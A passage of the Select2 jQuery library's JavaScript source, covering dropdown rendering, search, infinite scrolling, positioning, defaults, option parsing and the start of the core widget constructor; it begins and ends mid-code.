        self._checkIfMaximumSelected();
      });
  };

  MaximumSelectionLength.prototype.query =
    function (decorated, params, callback) {
      var self = this;

      this._checkIfMaximumSelected(function () {
        decorated.call(self, params, callback);
      });
  };

  MaximumSelectionLength.prototype._checkIfMaximumSelected =
    function (_, successCallback) {
      var self = this;

      this.current(function (currentData) {
        var count = currentData != null ? currentData.length : 0;
        if (self.maximumSelectionLength > 0 &&
          count >= self.maximumSelectionLength) {
          self.trigger('results:message', {
            message: 'maximumSelected',
            args: {
              maximum: self.maximumSelectionLength
            }
          });
          return;
        }

        if (successCallback) {
          successCallback();
        }
      });
  };

  return MaximumSelectionLength;
});

S2.define('select2/dropdown',[
  'jquery',
  './utils'
], function ($, Utils) {
  function Dropdown ($element, options) {
    this.$element = $element;
    this.options = options;

    Dropdown.__super__.constructor.call(this);
  }

  Utils.Extend(Dropdown, Utils.Observable);

  Dropdown.prototype.render = function () {
    var $dropdown = $(
      '<span class="select2-dropdown">' +
        '<span class="select2-results"></span>' +
      '</span>'
    );

    $dropdown.attr('dir', this.options.get('dir'));

    this.$dropdown = $dropdown;

    return $dropdown;
  };

  Dropdown.prototype.bind = function () {
    // Should be implemented in subclasses
  };

  Dropdown.prototype.position = function ($dropdown, $container) {
    // Should be implemented in subclasses
  };

  Dropdown.prototype.destroy = function () {
    // Remove the dropdown from the DOM
    this.$dropdown.remove();
  };

  return Dropdown;
});

S2.define('select2/dropdown/search',[
  'jquery',
  '../utils'
], function ($, Utils) {
  function Search () { }

  Search.prototype.render = function (decorated) {
    var $rendered = decorated.call(this);

    var $search = $(
      '<span class="select2-search select2-search--dropdown">' +
        '<input class="select2-search__field" type="search" tabindex="-1"' +
        ' autocomplete="off" autocorrect="off" autocapitalize="none"' +
        ' spellcheck="false" role="searchbox" aria-autocomplete="list" />' +
      '</span>'
    );

    this.$searchContainer = $search;
    this.$search = $search.find('input');

    $rendered.prepend($search);

    return $rendered;
  };

  Search.prototype.bind = function (decorated, container, $container) {
    var self = this;

    var resultsId = container.id + '-results';

    decorated.call(this, container, $container);

    this.$search.on('keydown', function (evt) {
      self.trigger('keypress', evt);

      self._keyUpPrevented = evt.isDefaultPrevented();
    });

    // Workaround for browsers which do not support the `input` event
    // This will prevent double-triggering of events for browsers which support
    // both the `keyup` and `input` events.
    this.$search.on('input', function (evt) {
      // Unbind the duplicated `keyup` event
      $(this).off('keyup');
    });

    this.$search.on('keyup input', function (evt) {
      self.handleSearch(evt);
    });

    container.on('open', function () {
      self.$search.attr('tabindex', 0);
      self.$search.attr('aria-controls', resultsId);

      self.$search.trigger('focus');

      window.setTimeout(function () {
        self.$search.trigger('focus');
      }, 0);
    });

    container.on('close', function () {
      self.$search.attr('tabindex', -1);
      self.$search.removeAttr('aria-controls');
      self.$search.removeAttr('aria-activedescendant');

      self.$search.val('');
      self.$search.trigger('blur');
    });

    container.on('focus', function () {
      if (!container.isOpen()) {
        self.$search.trigger('focus');
      }
    });

    container.on('results:all', function (params) {
      if (params.query.term == null || params.query.term === '') {
        var showSearch = self.showSearch(params);

        if (showSearch) {
          self.$searchContainer.removeClass('select2-search--hide');
        } else {
          self.$searchContainer.addClass('select2-search--hide');
        }
      }
    });

    container.on('results:focus', function (params) {
      if (params.data._resultId) {
        self.$search.attr('aria-activedescendant', params.data._resultId);
      } else {
        self.$search.removeAttr('aria-activedescendant');
      }
    });
  };

  Search.prototype.handleSearch = function (evt) {
    if (!this._keyUpPrevented) {
      var input = this.$search.val();

      this.trigger('query', {
        term: input
      });
    }

    this._keyUpPrevented = false;
  };

  Search.prototype.showSearch = function (_, params) {
    return true;
  };

  return Search;
});

S2.define('select2/dropdown/hidePlaceholder',[

], function () {
  function HidePlaceholder (decorated, $element, options, dataAdapter) {
    this.placeholder = this.normalizePlaceholder(options.get('placeholder'));

    decorated.call(this, $element, options, dataAdapter);
  }

  HidePlaceholder.prototype.append = function (decorated, data) {
    data.results = this.removePlaceholder(data.results);

    decorated.call(this, data);
  };

  HidePlaceholder.prototype.normalizePlaceholder = function (_, placeholder) {
    if (typeof placeholder === 'string') {
      placeholder = {
        id: '',
        text: placeholder
      };
    }

    return placeholder;
  };

  HidePlaceholder.prototype.removePlaceholder = function (_, data) {
    var modifiedData = data.slice(0);

    for (var d = data.length - 1; d >= 0; d--) {
      var item = data[d];

      if (this.placeholder.id === item.id) {
        modifiedData.splice(d, 1);
      }
    }

    return modifiedData;
  };

  return HidePlaceholder;
});

S2.define('select2/dropdown/infiniteScroll',[
  'jquery'
], function ($) {
  function InfiniteScroll (decorated, $element, options, dataAdapter) {
    this.lastParams = {};

    decorated.call(this, $element, options, dataAdapter);

    this.$loadingMore = this.createLoadingMore();
    this.loading = false;
  }

  InfiniteScroll.prototype.append = function (decorated, data) {
    this.$loadingMore.remove();
    this.loading = false;

    decorated.call(this, data);

    if (this.showLoadingMore(data)) {
      this.$results.append(this.$loadingMore);
      this.loadMoreIfNeeded();
    }
  };

  InfiniteScroll.prototype.bind = function (decorated, container, $container) {
    var self = this;

    decorated.call(this, container, $container);

    container.on('query', function (params) {
      self.lastParams = params;
      self.loading = true;
    });

    container.on('query:append', function (params) {
      self.lastParams = params;
      self.loading = true;
    });

    this.$results.on('scroll', this.loadMoreIfNeeded.bind(this));
  };

  InfiniteScroll.prototype.loadMoreIfNeeded = function () {
    var isLoadMoreVisible = $.contains(
      document.documentElement,
      this.$loadingMore[0]
    );

    if (this.loading || !isLoadMoreVisible) {
      return;
    }

    var currentOffset = this.$results.offset().top +
      this.$results.outerHeight(false);
    var loadingMoreOffset = this.$loadingMore.offset().top +
      this.$loadingMore.outerHeight(false);

    if (currentOffset + 50 >= loadingMoreOffset) {
      this.loadMore();
    }
  };

  InfiniteScroll.prototype.loadMore = function () {
    this.loading = true;

    var params = $.extend({}, {page: 1}, this.lastParams);

    params.page++;

    this.trigger('query:append', params);
  };

  InfiniteScroll.prototype.showLoadingMore = function (_, data) {
    return data.pagination && data.pagination.more;
  };

  InfiniteScroll.prototype.createLoadingMore = function () {
    var $option = $(
      '<li ' +
      'class="select2-results__option select2-results__option--load-more"' +
      'role="option" aria-disabled="true"></li>'
    );

    var message = this.options.get('translations').get('loadingMore');

    $option.html(message(this.lastParams));

    return $option;
  };

  return InfiniteScroll;
});

S2.define('select2/dropdown/attachBody',[
  'jquery',
  '../utils'
], function ($, Utils) {
  function AttachBody (decorated, $element, options) {
    this.$dropdownParent = $(options.get('dropdownParent') || document.body);

    decorated.call(this, $element, options);
  }

  AttachBody.prototype.bind = function (decorated, container, $container) {
    var self = this;

    decorated.call(this, container, $container);

    container.on('open', function () {
      self._showDropdown();
      self._attachPositioningHandler(container);

      // Must bind after the results handlers to ensure correct sizing
      self._bindContainerResultHandlers(container);
    });

    container.on('close', function () {
      self._hideDropdown();
      self._detachPositioningHandler(container);
    });

    this.$dropdownContainer.on('mousedown', function (evt) {
      evt.stopPropagation();
    });
  };

  AttachBody.prototype.destroy = function (decorated) {
    decorated.call(this);

    this.$dropdownContainer.remove();
  };

  AttachBody.prototype.position = function (decorated, $dropdown, $container) {
    // Clone all of the container classes
    $dropdown.attr('class', $container.attr('class'));

    $dropdown.removeClass('select2');
    $dropdown.addClass('select2-container--open');

    $dropdown.css({
      position: 'absolute',
      top: -999999
    });

    this.$container = $container;
  };

  AttachBody.prototype.render = function (decorated) {
    var $container = $('<span></span>');

    var $dropdown = decorated.call(this);
    $container.append($dropdown);

    this.$dropdownContainer = $container;

    return $container;
  };

  AttachBody.prototype._hideDropdown = function (decorated) {
    this.$dropdownContainer.detach();
  };

  AttachBody.prototype._bindContainerResultHandlers =
      function (decorated, container) {

    // These should only be bound once
    if (this._containerResultsHandlersBound) {
      return;
    }

    var self = this;

    container.on('results:all', function () {
      self._positionDropdown();
      self._resizeDropdown();
    });

    container.on('results:append', function () {
      self._positionDropdown();
      self._resizeDropdown();
    });

    container.on('results:message', function () {
      self._positionDropdown();
      self._resizeDropdown();
    });

    container.on('select', function () {
      self._positionDropdown();
      self._resizeDropdown();
    });

    container.on('unselect', function () {
      self._positionDropdown();
      self._resizeDropdown();
    });

    this._containerResultsHandlersBound = true;
  };

  AttachBody.prototype._attachPositioningHandler =
      function (decorated, container) {
    var self = this;

    var scrollEvent = 'scroll.select2.' + container.id;
    var resizeEvent = 'resize.select2.' + container.id;
    var orientationEvent = 'orientationchange.select2.' + container.id;

    var $watchers = this.$container.parents().filter(Utils.hasScroll);
    $watchers.each(function () {
      Utils.StoreData(this, 'select2-scroll-position', {
        x: $(this).scrollLeft(),
        y: $(this).scrollTop()
      });
    });

    $watchers.on(scrollEvent, function (ev) {
      var position = Utils.GetData(this, 'select2-scroll-position');
      $(this).scrollTop(position.y);
    });

    $(window).on(scrollEvent + ' ' + resizeEvent + ' ' + orientationEvent,
      function (e) {
      self._positionDropdown();
      self._resizeDropdown();
    });
  };

  AttachBody.prototype._detachPositioningHandler =
      function (decorated, container) {
    var scrollEvent = 'scroll.select2.' + container.id;
    var resizeEvent = 'resize.select2.' + container.id;
    var orientationEvent = 'orientationchange.select2.' + container.id;

    var $watchers = this.$container.parents().filter(Utils.hasScroll);
    $watchers.off(scrollEvent);

    $(window).off(scrollEvent + ' ' + resizeEvent + ' ' + orientationEvent);
  };

  AttachBody.prototype._positionDropdown = function () {
    var $window = $(window);

    var isCurrentlyAbove = this.$dropdown.hasClass('select2-dropdown--above');
    var isCurrentlyBelow = this.$dropdown.hasClass('select2-dropdown--below');

    var newDirection = null;

    var offset = this.$container.offset();

    offset.bottom = offset.top + this.$container.outerHeight(false);

    var container = {
      height: this.$container.outerHeight(false)
    };

    container.top = offset.top;
    container.bottom = offset.top + container.height;

    var dropdown = {
      height: this.$dropdown.outerHeight(false)
    };

    var viewport = {
      top: $window.scrollTop(),
      bottom: $window.scrollTop() + $window.height()
    };

    var enoughRoomAbove = viewport.top < (offset.top - dropdown.height);
    var enoughRoomBelow = viewport.bottom > (offset.bottom + dropdown.height);

    var css = {
      left: offset.left,
      top: container.bottom
    };

    // Determine what the parent element is to use for calculating the offset
    var $offsetParent = this.$dropdownParent;

    // For statically positioned elements, we need to get the element
    // that is determining the offset
    if ($offsetParent.css('position') === 'static') {
      $offsetParent = $offsetParent.offsetParent();
    }

    var parentOffset = {
      top: 0,
      left: 0
    };

    if (
      $.contains(document.body, $offsetParent[0]) ||
      $offsetParent[0].isConnected
      ) {
      parentOffset = $offsetParent.offset();
    }

    css.top -= parentOffset.top;
    css.left -= parentOffset.left;

    if (!isCurrentlyAbove && !isCurrentlyBelow) {
      newDirection = 'below';
    }

    if (!enoughRoomBelow && enoughRoomAbove && !isCurrentlyAbove) {
      newDirection = 'above';
    } else if (!enoughRoomAbove && enoughRoomBelow && isCurrentlyAbove) {
      newDirection = 'below';
    }

    if (newDirection == 'above' ||
      (isCurrentlyAbove && newDirection !== 'below')) {
      css.top = container.top - parentOffset.top - dropdown.height;
    }

    if (newDirection != null) {
      this.$dropdown
        .removeClass('select2-dropdown--below select2-dropdown--above')
        .addClass('select2-dropdown--' + newDirection);
      this.$container
        .removeClass('select2-container--below select2-container--above')
        .addClass('select2-container--' + newDirection);
    }

    this.$dropdownContainer.css(css);
  };

  AttachBody.prototype._resizeDropdown = function () {
    var css = {
      width: this.$container.outerWidth(false) + 'px'
    };

    if (this.options.get('dropdownAutoWidth')) {
      css.minWidth = css.width;
      css.position = 'relative';
      css.width = 'auto';
    }

    this.$dropdown.css(css);
  };

  AttachBody.prototype._showDropdown = function (decorated) {
    this.$dropdownContainer.appendTo(this.$dropdownParent);

    this._positionDropdown();
    this._resizeDropdown();
  };

  return AttachBody;
});

S2.define('select2/dropdown/minimumResultsForSearch',[

], function () {
  function countResults (data) {
    var count = 0;

    for (var d = 0; d < data.length; d++) {
      var item = data[d];

      if (item.children) {
        count += countResults(item.children);
      } else {
        count++;
      }
    }

    return count;
  }

  function MinimumResultsForSearch (decorated, $element, options, dataAdapter) {
    this.minimumResultsForSearch = options.get('minimumResultsForSearch');

    if (this.minimumResultsForSearch < 0) {
      this.minimumResultsForSearch = Infinity;
    }

    decorated.call(this, $element, options, dataAdapter);
  }

  MinimumResultsForSearch.prototype.showSearch = function (decorated, params) {
    if (countResults(params.data.results) < this.minimumResultsForSearch) {
      return false;
    }

    return decorated.call(this, params);
  };

  return MinimumResultsForSearch;
});

S2.define('select2/dropdown/selectOnClose',[
  '../utils'
], function (Utils) {
  function SelectOnClose () { }

  SelectOnClose.prototype.bind = function (decorated, container, $container) {
    var self = this;

    decorated.call(this, container, $container);

    container.on('close', function (params) {
      self._handleSelectOnClose(params);
    });
  };

  SelectOnClose.prototype._handleSelectOnClose = function (_, params) {
    if (params && params.originalSelect2Event != null) {
      var event = params.originalSelect2Event;

      // Don't select an item if the close event was triggered from a select or
      // unselect event
      if (event._type === 'select' || event._type === 'unselect') {
        return;
      }
    }

    var $highlightedResults = this.getHighlightedResults();

    // Only select highlighted results
    if ($highlightedResults.length < 1) {
      return;
    }

    var data = Utils.GetData($highlightedResults[0], 'data');

    // Don't re-select already selected resulte
    if (
      (data.element != null && data.element.selected) ||
      (data.element == null && data.selected)
    ) {
      return;
    }

    this.trigger('select', {
        data: data
    });
  };

  return SelectOnClose;
});

S2.define('select2/dropdown/closeOnSelect',[

], function () {
  function CloseOnSelect () { }

  CloseOnSelect.prototype.bind = function (decorated, container, $container) {
    var self = this;

    decorated.call(this, container, $container);

    container.on('select', function (evt) {
      self._selectTriggered(evt);
    });

    container.on('unselect', function (evt) {
      self._selectTriggered(evt);
    });
  };

  CloseOnSelect.prototype._selectTriggered = function (_, evt) {
    var originalEvent = evt.originalEvent;

    // Don't close if the control key is being held
    if (originalEvent && (originalEvent.ctrlKey || originalEvent.metaKey)) {
      return;
    }

    this.trigger('close', {
      originalEvent: originalEvent,
      originalSelect2Event: evt
    });
  };

  return CloseOnSelect;
});

S2.define('select2/i18n/en',[],function () {
  // English
  return {
    errorLoading: function () {
      return 'The results could not be loaded.';
    },
    inputTooLong: function (args) {
      var overChars = args.input.length - args.maximum;

      var message = 'Please delete ' + overChars + ' character';

      if (overChars != 1) {
        message += 's';
      }

      return message;
    },
    inputTooShort: function (args) {
      var remainingChars = args.minimum - args.input.length;

      var message = 'Please enter ' + remainingChars + ' or more characters';

      return message;
    },
    loadingMore: function () {
      return 'Loading more results…';
    },
    maximumSelected: function (args) {
      var message = 'You can only select ' + args.maximum + ' item';

      if (args.maximum != 1) {
        message += 's';
      }

      return message;
    },
    noResults: function () {
      return 'No results found';
    },
    searching: function () {
      return 'Searching…';
    },
    removeAllItems: function () {
      return 'Remove all items';
    }
  };
});

S2.define('select2/defaults',[
  'jquery',
  'require',

  './results',

  './selection/single',
  './selection/multiple',
  './selection/placeholder',
  './selection/allowClear',
  './selection/search',
  './selection/eventRelay',

  './utils',
  './translation',
  './diacritics',

  './data/select',
  './data/array',
  './data/ajax',
  './data/tags',
  './data/tokenizer',
  './data/minimumInputLength',
  './data/maximumInputLength',
  './data/maximumSelectionLength',

  './dropdown',
  './dropdown/search',
  './dropdown/hidePlaceholder',
  './dropdown/infiniteScroll',
  './dropdown/attachBody',
  './dropdown/minimumResultsForSearch',
  './dropdown/selectOnClose',
  './dropdown/closeOnSelect',

  './i18n/en'
], function ($, require,

             ResultsList,

             SingleSelection, MultipleSelection, Placeholder, AllowClear,
             SelectionSearch, EventRelay,

             Utils, Translation, DIACRITICS,

             SelectData, ArrayData, AjaxData, Tags, Tokenizer,
             MinimumInputLength, MaximumInputLength, MaximumSelectionLength,

             Dropdown, DropdownSearch, HidePlaceholder, InfiniteScroll,
             AttachBody, MinimumResultsForSearch, SelectOnClose, CloseOnSelect,

             EnglishTranslation) {
  function Defaults () {
    this.reset();
  }

  Defaults.prototype.apply = function (options) {
    options = $.extend(true, {}, this.defaults, options);

    if (options.dataAdapter == null) {
      if (options.ajax != null) {
        options.dataAdapter = AjaxData;
      } else if (options.data != null) {
        options.dataAdapter = ArrayData;
      } else {
        options.dataAdapter = SelectData;
      }

      if (options.minimumInputLength > 0) {
        options.dataAdapter = Utils.Decorate(
          options.dataAdapter,
          MinimumInputLength
        );
      }

      if (options.maximumInputLength > 0) {
        options.dataAdapter = Utils.Decorate(
          options.dataAdapter,
          MaximumInputLength
        );
      }

      if (options.maximumSelectionLength > 0) {
        options.dataAdapter = Utils.Decorate(
          options.dataAdapter,
          MaximumSelectionLength
        );
      }

      if (options.tags) {
        options.dataAdapter = Utils.Decorate(options.dataAdapter, Tags);
      }

      if (options.tokenSeparators != null || options.tokenizer != null) {
        options.dataAdapter = Utils.Decorate(
          options.dataAdapter,
          Tokenizer
        );
      }

      if (options.query != null) {
        var Query = require(options.amdBase + 'compat/query');

        options.dataAdapter = Utils.Decorate(
          options.dataAdapter,
          Query
        );
      }

      if (options.initSelection != null) {
        var InitSelection = require(options.amdBase + 'compat/initSelection');

        options.dataAdapter = Utils.Decorate(
          options.dataAdapter,
          InitSelection
        );
      }
    }

    if (options.resultsAdapter == null) {
      options.resultsAdapter = ResultsList;

      if (options.ajax != null) {
        options.resultsAdapter = Utils.Decorate(
          options.resultsAdapter,
          InfiniteScroll
        );
      }

      if (options.placeholder != null) {
        options.resultsAdapter = Utils.Decorate(
          options.resultsAdapter,
          HidePlaceholder
        );
      }

      if (options.selectOnClose) {
        options.resultsAdapter = Utils.Decorate(
          options.resultsAdapter,
          SelectOnClose
        );
      }
    }

    if (options.dropdownAdapter == null) {
      if (options.multiple) {
        options.dropdownAdapter = Dropdown;
      } else {
        var SearchableDropdown = Utils.Decorate(Dropdown, DropdownSearch);

        options.dropdownAdapter = SearchableDropdown;
      }

      if (options.minimumResultsForSearch !== 0) {
        options.dropdownAdapter = Utils.Decorate(
          options.dropdownAdapter,
          MinimumResultsForSearch
        );
      }

      if (options.closeOnSelect) {
        options.dropdownAdapter = Utils.Decorate(
          options.dropdownAdapter,
          CloseOnSelect
        );
      }

      if (
        options.dropdownCssClass != null ||
        options.dropdownCss != null ||
        options.adaptDropdownCssClass != null
      ) {
        var DropdownCSS = require(options.amdBase + 'compat/dropdownCss');

        options.dropdownAdapter = Utils.Decorate(
          options.dropdownAdapter,
          DropdownCSS
        );
      }

      options.dropdownAdapter = Utils.Decorate(
        options.dropdownAdapter,
        AttachBody
      );
    }

    if (options.selectionAdapter == null) {
      if (options.multiple) {
        options.selectionAdapter = MultipleSelection;
      } else {
        options.selectionAdapter = SingleSelection;
      }

      // Add the placeholder mixin if a placeholder was specified
      if (options.placeholder != null) {
        options.selectionAdapter = Utils.Decorate(
          options.selectionAdapter,
          Placeholder
        );
      }

      if (options.allowClear) {
        options.selectionAdapter = Utils.Decorate(
          options.selectionAdapter,
          AllowClear
        );
      }

      if (options.multiple) {
        options.selectionAdapter = Utils.Decorate(
          options.selectionAdapter,
          SelectionSearch
        );
      }

      if (
        options.containerCssClass != null ||
        options.containerCss != null ||
        options.adaptContainerCssClass != null
      ) {
        var ContainerCSS = require(options.amdBase + 'compat/containerCss');

        options.selectionAdapter = Utils.Decorate(
          options.selectionAdapter,
          ContainerCSS
        );
      }

      options.selectionAdapter = Utils.Decorate(
        options.selectionAdapter,
        EventRelay
      );
    }

    // If the defaults were not previously applied from an element, it is
    // possible for the language option to have not been resolved
    options.language = this._resolveLanguage(options.language);

    // Always fall back to English since it will always be complete
    options.language.push('en');

    var uniqueLanguages = [];

    for (var l = 0; l < options.language.length; l++) {
      var language = options.language[l];

      if (uniqueLanguages.indexOf(language) === -1) {
        uniqueLanguages.push(language);
      }
    }

    options.language = uniqueLanguages;

    options.translations = this._processTranslations(
      options.language,
      options.debug
    );

    return options;
  };

  Defaults.prototype.reset = function () {
    function stripDiacritics (text) {
      // Used 'uni range + named function' from http://jsperf.com/diacritics/18
      function match(a) {
        return DIACRITICS[a] || a;
      }

      return text.replace(/[^\u0000-\u007E]/g, match);
    }

    function matcher (params, data) {
      // Always return the object if there is nothing to compare
      if ($.trim(params.term) === '') {
        return data;
      }

      // Do a recursive check for options with children
      if (data.children && data.children.length > 0) {
        // Clone the data object if there are children
        // This is required as we modify the object to remove any non-matches
        var match = $.extend(true, {}, data);

        // Check each child of the option
        for (var c = data.children.length - 1; c >= 0; c--) {
          var child = data.children[c];

          var matches = matcher(params, child);

          // If there wasn't a match, remove the object in the array
          if (matches == null) {
            match.children.splice(c, 1);
          }
        }

        // If any children matched, return the new object
        if (match.children.length > 0) {
          return match;
        }

        // If there were no matching children, check just the plain object
        return matcher(params, match);
      }

      var original = stripDiacritics(data.text).toUpperCase();
      var term = stripDiacritics(params.term).toUpperCase();

      // Check if the text contains the term
      if (original.indexOf(term) > -1) {
        return data;
      }

      // If it doesn't contain the term, don't return anything
      return null;
    }

    this.defaults = {
      amdBase: './',
      amdLanguageBase: './i18n/',
      closeOnSelect: true,
      debug: false,
      dropdownAutoWidth: false,
      escapeMarkup: Utils.escapeMarkup,
      language: {},
      matcher: matcher,
      minimumInputLength: 0,
      maximumInputLength: 0,
      maximumSelectionLength: 0,
      minimumResultsForSearch: 0,
      selectOnClose: false,
      scrollAfterSelect: false,
      sorter: function (data) {
        return data;
      },
      templateResult: function (result) {
        return result.text;
      },
      templateSelection: function (selection) {
        return selection.text;
      },
      theme: 'default',
      width: 'resolve'
    };
  };

  Defaults.prototype.applyFromElement = function (options, $element) {
    var optionLanguage = options.language;
    var defaultLanguage = this.defaults.language;
    var elementLanguage = $element.prop('lang');
    var parentLanguage = $element.closest('[lang]').prop('lang');

    var languages = Array.prototype.concat.call(
      this._resolveLanguage(elementLanguage),
      this._resolveLanguage(optionLanguage),
      this._resolveLanguage(defaultLanguage),
      this._resolveLanguage(parentLanguage)
    );

    options.language = languages;

    return options;
  };

  Defaults.prototype._resolveLanguage = function (language) {
    if (!language) {
      return [];
    }

    if ($.isEmptyObject(language)) {
      return [];
    }

    if ($.isPlainObject(language)) {
      return [language];
    }

    var languages;

    if (!$.isArray(language)) {
      languages = [language];
    } else {
      languages = language;
    }

    var resolvedLanguages = [];

    for (var l = 0; l < languages.length; l++) {
      resolvedLanguages.push(languages[l]);

      if (typeof languages[l] === 'string' && languages[l].indexOf('-') > 0) {
        // Extract the region information if it is included
        var languageParts = languages[l].split('-');
        var baseLanguage = languageParts[0];

        resolvedLanguages.push(baseLanguage);
      }
    }

    return resolvedLanguages;
  };

  Defaults.prototype._processTranslations = function (languages, debug) {
    var translations = new Translation();

    for (var l = 0; l < languages.length; l++) {
      var languageData = new Translation();

      var language = languages[l];

      if (typeof language === 'string') {
        try {
          // Try to load it with the original name
          languageData = Translation.loadPath(language);
        } catch (e) {
          try {
            // If we couldn't load it, check if it wasn't the full path
            language = this.defaults.amdLanguageBase + language;
            languageData = Translation.loadPath(language);
          } catch (ex) {
            // The translation could not be loaded at all. Sometimes this is
            // because of a configuration problem, other times this can be
            // because of how Select2 helps load all possible translation files
            if (debug && window.console && console.warn) {
              console.warn(
                'Select2: The language file for "' + language + '" could ' +
                'not be automatically loaded. A fallback will be used instead.'
              );
            }
          }
        }
      } else if ($.isPlainObject(language)) {
        languageData = new Translation(language);
      } else {
        languageData = language;
      }

      translations.extend(languageData);
    }

    return translations;
  };

  Defaults.prototype.set = function (key, value) {
    var camelKey = $.camelCase(key);

    var data = {};
    data[camelKey] = value;

    var convertedData = Utils._convertData(data);

    $.extend(true, this.defaults, convertedData);
  };

  var defaults = new Defaults();

  return defaults;
});

S2.define('select2/options',[
  'require',
  'jquery',
  './defaults',
  './utils'
], function (require, $, Defaults, Utils) {
  function Options (options, $element) {
    this.options = options;

    if ($element != null) {
      this.fromElement($element);
    }

    if ($element != null) {
      this.options = Defaults.applyFromElement(this.options, $element);
    }

    this.options = Defaults.apply(this.options);

    if ($element && $element.is('input')) {
      var InputCompat = require(this.get('amdBase') + 'compat/inputData');

      this.options.dataAdapter = Utils.Decorate(
        this.options.dataAdapter,
        InputCompat
      );
    }
  }

  Options.prototype.fromElement = function ($e) {
    var excludedData = ['select2'];

    if (this.options.multiple == null) {
      this.options.multiple = $e.prop('multiple');
    }

    if (this.options.disabled == null) {
      this.options.disabled = $e.prop('disabled');
    }

    if (this.options.dir == null) {
      if ($e.prop('dir')) {
        this.options.dir = $e.prop('dir');
      } else if ($e.closest('[dir]').prop('dir')) {
        this.options.dir = $e.closest('[dir]').prop('dir');
      } else {
        this.options.dir = 'ltr';
      }
    }

    $e.prop('disabled', this.options.disabled);
    $e.prop('multiple', this.options.multiple);

    if (Utils.GetData($e[0], 'select2Tags')) {
      if (this.options.debug && window.console && console.warn) {
        console.warn(
          'Select2: The `data-select2-tags` attribute has been changed to ' +
          'use the `data-data` and `data-tags="true"` attributes and will be ' +
          'removed in future versions of Select2.'
        );
      }

      Utils.StoreData($e[0], 'data', Utils.GetData($e[0], 'select2Tags'));
      Utils.StoreData($e[0], 'tags', true);
    }

    if (Utils.GetData($e[0], 'ajaxUrl')) {
      if (this.options.debug && window.console && console.warn) {
        console.warn(
          'Select2: The `data-ajax-url` attribute has been changed to ' +
          '`data-ajax--url` and support for the old attribute will be removed' +
          ' in future versions of Select2.'
        );
      }

      $e.attr('ajax--url', Utils.GetData($e[0], 'ajaxUrl'));
      Utils.StoreData($e[0], 'ajax-Url', Utils.GetData($e[0], 'ajaxUrl'));
    }

    var dataset = {};

    function upperCaseLetter(_, letter) {
      return letter.toUpperCase();
    }

    // Pre-load all of the attributes which are prefixed with `data-`
    for (var attr = 0; attr < $e[0].attributes.length; attr++) {
      var attributeName = $e[0].attributes[attr].name;
      var prefix = 'data-';

      if (attributeName.substr(0, prefix.length) == prefix) {
        // Get the contents of the attribute after `data-`
        var dataName = attributeName.substring(prefix.length);

        // Get the data contents from the consistent source
        // This is more than likely the jQuery data helper
        var dataValue = Utils.GetData($e[0], dataName);

        // camelCase the attribute name to match the spec
        var camelDataName = dataName.replace(/-([a-z])/g, upperCaseLetter);

        // Store the data attribute contents into the dataset since
        dataset[camelDataName] = dataValue;
      }
    }

    // Prefer the element's `dataset` attribute if it exists
    // jQuery 1.x does not correctly handle data attributes with multiple dashes
    if ($.fn.jquery && $.fn.jquery.substr(0, 2) == '1.' && $e[0].dataset) {
      dataset = $.extend(true, {}, $e[0].dataset, dataset);
    }

    // Prefer our internal data cache if it exists
    var data = $.extend(true, {}, Utils.GetData($e[0]), dataset);

    data = Utils._convertData(data);

    for (var key in data) {
      if ($.inArray(key, excludedData) > -1) {
        continue;
      }

      if ($.isPlainObject(this.options[key])) {
        $.extend(this.options[key], data[key]);
      } else {
        this.options[key] = data[key];
      }
    }

    return this;
  };

  Options.prototype.get = function (key) {
    return this.options[key];
  };

  Options.prototype.set = function (key, val) {
    this.options[key] = val;
  };

  return Options;
});

S2.define('select2/core',[
  'jquery',
  './options',
  './utils',
  './keys'
], function ($, Options, Utils, KEYS) {
  var Select2 = function ($element, options) {
    if (Utils.GetData($element[0], 'select2') != null) {
      Utils.GetData($element[0], 'select2').destroy();
    }

    this.$element = $element;

    this.id = this._generateId($element);

    options = options || {};

    this.options = new Options(options, $element);

    Select2.__super__.constructor.call(this);

    // Set up the tabindex

    var tabindex = $element.attr('tabindex') || 0;
    Utils.StoreData($element[0], 'old-tabindex', tabindex);
    $element.attr('tabindex', '-1');

    // Set up containers and adapters

    var DataAdapter = this.options.get('dataAdapter');
    this.dataAdapter = new DataAdapter($element, this.options);

    var $container = this.render();

    this._placeContainer($container);

    var SelectionAdapter = this.options.get('selectionAdapter');
    this.selection = new SelectionAdapter($element, this.options);
    this.$selection = this.selection.render();

    this.selection.position(this.$selection, $container);

    var DropdownAdapter = this.options.get('dropdownAdapter');
    this.dropdown = new DropdownAdapter($element, this.options);
    this.$dropdown = this.dropdown.render();

    this.dropdown.position(this.$dropdown, $container);

    var ResultsAdapter = this.options.get('resultsAdapter');
    this.results = new ResultsAdapter($element, this.options, this.dataAdapter);
    this.$results = this.results.render();

    this.results.position(this.$results, this.$dropdown);

    // Bind events

    var self = this;

    // Bind the container to all of the adapters
    this._bindAdapters();

    // Register any DOM event handlers
    this._registerDomEvents();

    // Register any internal event handlers
    this._registerDataEvents();
    this._registerSelectionEvents();
    this._registerDropdownEvents();
    this._registerResultsEvents();
    this._registerEvents();

    // Set the initial state
    this.dataAdapter.current(function (initialData) {
      self.trigger('selection:update', {
        data: initialData
      });
    });

    // Hide the original select
    $element.addClass('select2-hidden-accessible');
    $element.attr('aria-hidden', 'true');

    // Synchronize any monitored attributes
    this._syncAttributes();

    Utils.StoreData($element[0], 'select2', this);

    // Ensure backwards compatibility with $element.data('select2').
    $element.data('select2', this);
  };

  Utils.Extend(Select2, Utils.Observable);

  Select2.prototype._generateId = function ($element) {
    var id = '';

    if ($element.attr('id') != null) {
      id = $element.attr('id');
    } else if ($element.attr('name') != null) {
      id = $element.attr('name') + '-' + Utils.generateChars(2);
    } else {
      id = Utils.generateChars(4);
    }

    id = id.replace(/(:|\.|\[|\]|,)/g, '');
    id = 'select2-' + id;

    return id;
  };

  Select2.prototype._placeContainer = function ($container) {
    $container.insertAfter(this.$element);

    var width = this._resolveWidth(this.$element, this.options.get('width'));

    if (width != null) {
      $container.css('width', width);
    }
  };

  Select2.prototype._resolveWidth = function ($element, method) {
    var WIDTH = /^width:(([-+]?([0-9]*\.)?[0-9]+)(px|em|ex|%|in|cm|mm|pt|pc))/i;

    if (method == 'resolve') {
      var styleWidth = this._resolveWidth($element, 'style');

      if (styleWidth != null) {
        return styleWidth;
      }

      return this._resolveWidth($element, 'element');
    }

    if (method == 'element') {
      var elementWidth = $element.outerWidth(false);

      if (elementWidth <= 0) {
        return 'auto';
      }

      return elementWidth + 'px';
    }

    if (method == 'style') {
      var style = $element.attr('style');

      if (typeof(style) !== 'string') {
        return null;
      }

      var attrs = style.split(';');

